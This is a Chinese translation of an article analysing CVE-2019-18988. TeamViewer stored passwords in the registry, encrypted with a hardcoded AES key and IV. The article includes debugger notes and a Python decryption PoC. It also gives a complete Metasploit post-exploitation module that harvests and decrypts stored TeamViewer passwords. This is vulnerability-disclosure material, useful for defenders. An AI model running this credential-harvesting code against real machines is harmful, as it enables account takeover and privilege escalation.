CVE-2019-18988:TeamViewer特权提升漏洞分析

2020-10-30 11:20:3212164人阅读

0x01  漏洞描述

TeamViewer 在Windows注册表中存储了用AES-128-CBC加密的用户密码,密钥分别为0602000000a400005253413100040000和0100010067244F436E6762F25EA8D704。如果密码在任何地方都可以重复使用,则提权就会变成可能。如果你没有计算机的RDP权限,但已安装TeamViewer,则可以使用TeamViewer进行远程访问。TeamViewer还允许你复制数据或计划任务以通过其服务运行,该服务运行为NT AUTHORITY\SYSTEM,因此低特权用户可以立即转到SYSTEM的一个.bat文件,此漏洞被分配了CVE-2019-18988。

0x02  漏洞分析

在TeamViewer注册表项的备份文件中,我注意到备份中有OptionsPasswordAES或SecurityPasswordAES,我可以导入注册表设置或将其部署在.msi中,以便同一组织中安装的所有TeamViewer都可以使用相同的密码,我怀疑所有TeamViewer上都有一个共享密钥,可以通过AES的注册表项来备份声明。

我尝试从TeamViewer注册表项中找到与该版本完全相同的安装程序,TeamViewer提供了所有旧版本供下载,仍可在此处找到。我安装了新的Windows 10 VM,并在上面安装了TeamViewer 7,我导入了注册表项,事实证明,OptionsPasswordAESreg键会防止未经授权的人员进入菜单,在此你可以更改设置。

我发现“选项密码”以明文形式存储在字节080088和000000000000之间的内存中,然后我发现090088之间和000000000000给了我两个密码,我发现此问题已经分配了CVE-2018-14333。

此漏洞就是之前关于APT41的报告涉及他们如何攻击TeamViewer用户或如何使用TeamViewer获得对某些用户的远程访问的漏洞。

启动IDA Pro开始逆转TeamViewer的二进制文件,我将内存转储到随机的位置,并一次遍历32字节的每个内存块,看看是否可以发现密钥,我发现TeamViewer使用Crypto ++进行加密/解密。事实证明,libcrypto ++支持的一种模式是rijndael,我使用API Monitor逐步浏览TeamViewer和Cheat Engine以搜索密码,然后将它们pop到内存中,然后使用procdump转储进程内存然后遍历每个32字节的内存块,每次滑动一个字节以确保击中每种可能的组合。我怀疑procdump可能压缩某些内容,所以我使用Frida来转储内存,但是仍然没有头绪。

我花了很长时间来研究二进制文件,我知道必须有更好的方法。我一直在进行研究,结果发现有很多人想要找到Unity游戏的AES密钥,只需要使用调试器即可。由于我不想错过任何内容,单步调试TeamViewer大约6个小时之后,我进入了负责AES解密的代码区域。

这是我的调试笔记:

 =================================================
 "ServerPasswordAES"=hex:88,44,d7,0a,b2,96,2a,3d,63,16,3c,ff,e4,15,04,fb
 =================================================
 Takes 8844d70ab2962a3d63163cffe41504fb into xmm0
 Takes 5B659253E5E873D26723B7D5EAC06E3B into xmm1
 pxor xmm0, xmm1
 movdqa xmmword ptr ds:[eax],xmm0
 [eax] = D3214559577E59EF04358B2A0ED56AC0
 
 movdqa xmm1,xmmword ptr ds:[esi]     | [esi] = 25C8C8BD4298BB32A57EECBDBD045BBB
 movdqa xmm0,xmmword ptr ds:[eax]     | [eax] = D3214559577E59EF04358B2A0ED56AC0
 aesdec xmm0,xmm1                     | One round of an AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm1 with 128-bit round key from xmm2/m128; store the result in xmm1.
 movdqa xmmword ptr ds:[eax],xmm0     | [eax] = 6F AA 98 76 DE 11 7D 8D 7E B6 EE 61 2D 3D 15 52
 movdqa xmm1,xmmword ptr ds:[esi+10]  | [esi+10]=[008FDE10]=79 DC 78 A6 67 50 73 8F E7 E6 57 8F 18 7A B7 06
 add esi,20                           |
 dec ecx                              | ecx = 3
 aesdec xmm0,xmm1                     | do the actual decryption
 movdqa xmmword ptr ds:[eax],xmm0     | [eax]=[008FDC90]=E3 58 26 46 A7 37 12 40 85 1C C0 43 7D 1F 1E 30
 
 Three more rounds of aesdec then
 aesdeclast xmm0, xmm1 .| Last round of AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm2 with a 128-bit round key from xmm3/m128; store the result in xmm1. 
 
 008FDC90  01 00 01 00 67 24 4F 43 6E 67 62 F2 5E A8 D7 04  ....g$OCngbò^¨×.

这部分代码从注册表中获取字节ServerPasswordAES,然后使用看起来25C8C8BD4298BB32A57EECBDBD045BBB不正确的密钥解密它。 IV应该与aesdec纯文本的前128位进行异或。我意识到我错过了movdqa进入xmm2,pxor xmm0,xmm1并没有进一步混淆,而是使用了IV。我在函数的开头设置了一个断点,然后重新启动了该过程,进入xmm2的动作是0602000000a400005253413100040000的关键。

IV是ServerPasswordAES具有前面提到的密钥和空IV 的解密字节,在这种情况下,IV SecurityPasswordAES是0100010067244F436E6762F25EA8D704。只要SecurityPasswordExported有可用的密钥,此功能就可以立即使用TeamViewer版本7和最新版本的Teamviewer 14 。

在TeamViewer 14中,他们为业务客户引入了脚本引擎,下面显示的是的输出sc.exe qc TeamViewer7。

 PS C:\Users\Administrator\Documents\testing> sc.exe qc TeamViewer7
 [SC] QueryServiceConfig SUCCESS
 
 SERVICE_NAME: TeamViewer7
         TYPE               : 10  WIN32_OWN_PROCESS
         START_TYPE         : 2   AUTO_START
         ERROR_CONTROL      : 1   NORMAL
         BINARY_PATH_NAME   : "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"
         LOAD_ORDER_GROUP   :
         TAG                : 0
         DISPLAY_NAME       : TeamViewer 7
         DEPENDENCIES       :
         SERVICE_START_NAME : LocalSystem

输出的最后一行tasklist /v,通过启用TeamViewer安装的密码并启用脚本引擎,可以从低特权用户升级为NT AUTHORITY\SYSTEM仅读取注册表。

 PS C:\Users\Administrator\Documents\testing> tasklist /v
 
 Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title
 ========================= ======== ================ =========== ============ =============== ================================================== ============ ============================================
 System Idle Process              0 Services                   0          4 K Unknown         NT AUTHORITY\SYSTEM                                    69:20:56 N/A
 System                           4 Services                   0        144 K Unknown         N/A                                                     0:01:43 N/A
 smss.exe                       260 Services                   0      1,264 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
 csrss.exe                      376 Services                   0      4,300 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
 wininit.exe                    444 Services                   0      5,172 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:02 N/A
 csrss.exe                      452 Console                    1      4,332 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
 winlogon.exe                   504 Console                    1      8,364 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
 services.exe                   568 Services                   0      7,368 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:04 N/A
 lsass.exe                      576 Services                   0     21,076 K Unknown         NT AUTHORITY\SYSTEM                                     0:05:14 N/A
 svchost.exe                    660 Services                   0     20,084 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 N/A
 svchost.exe                    712 Services                   0     11,604 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:21 N/A
 LogonUI.exe                    812 Console                    1     42,972 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
 dwm.exe                        820 Console                    1     30,396 K Unknown         Window Manager\DWM-1                                    0:00:00 N/A
 svchost.exe                    912 Services                   0     78,452 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:07:20 N/A
 svchost.exe                    948 Services                   0     27,564 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:18 N/A
 svchost.exe                    956 Services                   0     19,964 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:03 N/A
 svchost.exe                    396 Services                   0     17,756 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:01 N/A
 svchost.exe                    440 Services                   0      9,608 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:35 N/A
 svchost.exe                   1060 Services                   0     68,988 K Unknown         NT AUTHORITY\SYSTEM                                     0:04:04 N/A
 svchost.exe                   1072 Services                   0     27,036 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:02 N/A
 VSSVC.exe                     1188 Services                   0      7,772 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
 svchost.exe                   1256 Services                   0     23,948 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:33 N/A
 svchost.exe                   1268 Services                   0      7,040 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:00 N/A
 spoolsv.exe                   1952 Services                   0     24,168 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
 svchost.exe                   2032 Services                   0     31,012 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:04 N/A
 IpOverUsbSvc.exe              1172 Services                   0     15,688 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
 SolidCP.VmConfig.exe          1580 Services                   0     36,636 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
 TeamViewer_Service.exe        1908 Services                   0     14,908 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 N/A

0x03  漏洞利用

Python的PoC代码和metasploit后渗透模块的代码:

 import sys, hexdump, binascii
 from Crypto.Cipher import AES
 
 class AESCipher:
     def __init__(self, key):
         self.key = key
 
     def decrypt(self, iv, data):
         self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
         return self.cipher.decrypt(data)
 
 key = binascii.unhexlify("0602000000a400005253413100040000")
 iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
 hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe"   # output from the registry
 
 ciphertext = binascii.unhexlify(hex_str_cipher)
 
 raw_un = AESCipher(key).decrypt(iv, ciphertext)
 
 print(hexdump.hexdump(raw_un))
 
 password = raw_un.decode('utf-16')
 print(password)
 ##
 # This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 # @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
 # and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
 ##
 
 class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Registry
 
   def initialize(info={})
     super(update_info(info,
         'Name'          => 'Windows Gather TeamViewer Passwords',
         'Description'   => %q{ This module will find and decrypt stored TeamViewer keys },
         'License'       => MSF_LICENSE,
         'Author'        => [ 'Nic Losby '],
         'Platform'      => [ 'win' ],
         'SessionTypes'  => [ 'meterpreter' ]
       ))
   end
 
   def app_list
     results = ""
     keys = [
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
       [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
       [ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
       [ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
     ]
 
     keys.each do |keyx86|
 
       #parent key
       p = keyx86[0,1].join
 
       #child key
       c = keyx86[1,1].join
 
       key      = nil
       keychunk = registry_getvaldata(p, c)
       key      = keychunk.unpack("C*") if not keychunk.nil?
 
       optpass  = registry_getvaldata(p, "OptionsPasswordAES")
       secpass  = registry_getvaldata(p, "SecurityPasswordAES")
       secpasse = registry_getvaldata(p, "SecurityPasswordExported")
       servpass = registry_getvaldata(p, "ServerPasswordAES")
       proxpass = registry_getvaldata(p, "ProxyPasswordAES")
       license  = registry_getvaldata(p, "LicenseKeyAES")
 
       if not optpass.nil? 
         decvalue = decrypt(optpass)
         if not decvalue.nil?
           print_good("Found Options Password: #{decvalue}")
           results << "Options:#{decvalue}\n"
         end
       end
       if not secpass.nil? 
         decvalue = decrypt(secpass)
         if not decvalue.nil?
           print_good("Found Security Password: #{decvalue}")
           results << "Security:#{decvalue}\n"
         end
       end
       if not secpasse.nil? 
         decvalue = decrypt(secpasse)
         if not decvalue.nil?
           print_good("Found Security Password Exported: #{decvalue}")
           results << "SecurityE:#{decvalue}\n"
         end
       end
       if not servpass.nil? 
         decvalue = decrypt(servpass)
         if not decvalue.nil?
           print_good("Found Server Password: #{decvalue}")
           results << "Server:#{decvalue}\n"
         end
       end
       if not proxpass.nil? 
         decvalue = decrypt(proxpass)
         if not decvalue.nil?
           print_good("Found Proxy Password: #{decvalue}")
           results << "Proxy:#{decvalue}\n"
         end
       end
       if not license.nil? 
         decvalue = decrypt(license)
         if not decvalue.nil?
           print_good("Found License Key: #{decvalue}")
           results << "License:#{decvalue}\n"
         end
       end
     end
 
     #Only save data to disk when there's something in the table
     if not results.empty?
       path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
       print_good("Passwords stored in: #{path.to_s}")
     end
   end
 
   def decrypt(encrypted_data)
     password = ""
     return password unless encrypted_data
 
     password = ""
     original_data = encrypted_data.dup
 
     decoded = encrypted_data
     #print_status(decoded)
 
     key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
     iv  = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
     aes = OpenSSL::Cipher.new("AES-128-CBC")
     begin
       aes.decrypt
       aes.key = key
       aes.iv = iv
       plaintext = aes.update(decoded)
       password = Rex::Text.to_ascii(plaintext, 'utf-16le')
       if plaintext.empty?
         return nil
       end
     rescue OpenSSL::Cipher::CipherError => e
       puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
     end
 
     password
   end
 
   def run
     print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
     app_list
   end
 end


本文转载自:嘶吼

作者:h1apwn

原文地址:https://www.4hou.com/posts/L5KX

本文翻译自:https://whynotsecurity.com/blog/teamviewer/

0
现金券
0
兑换券
立即领取
领取成功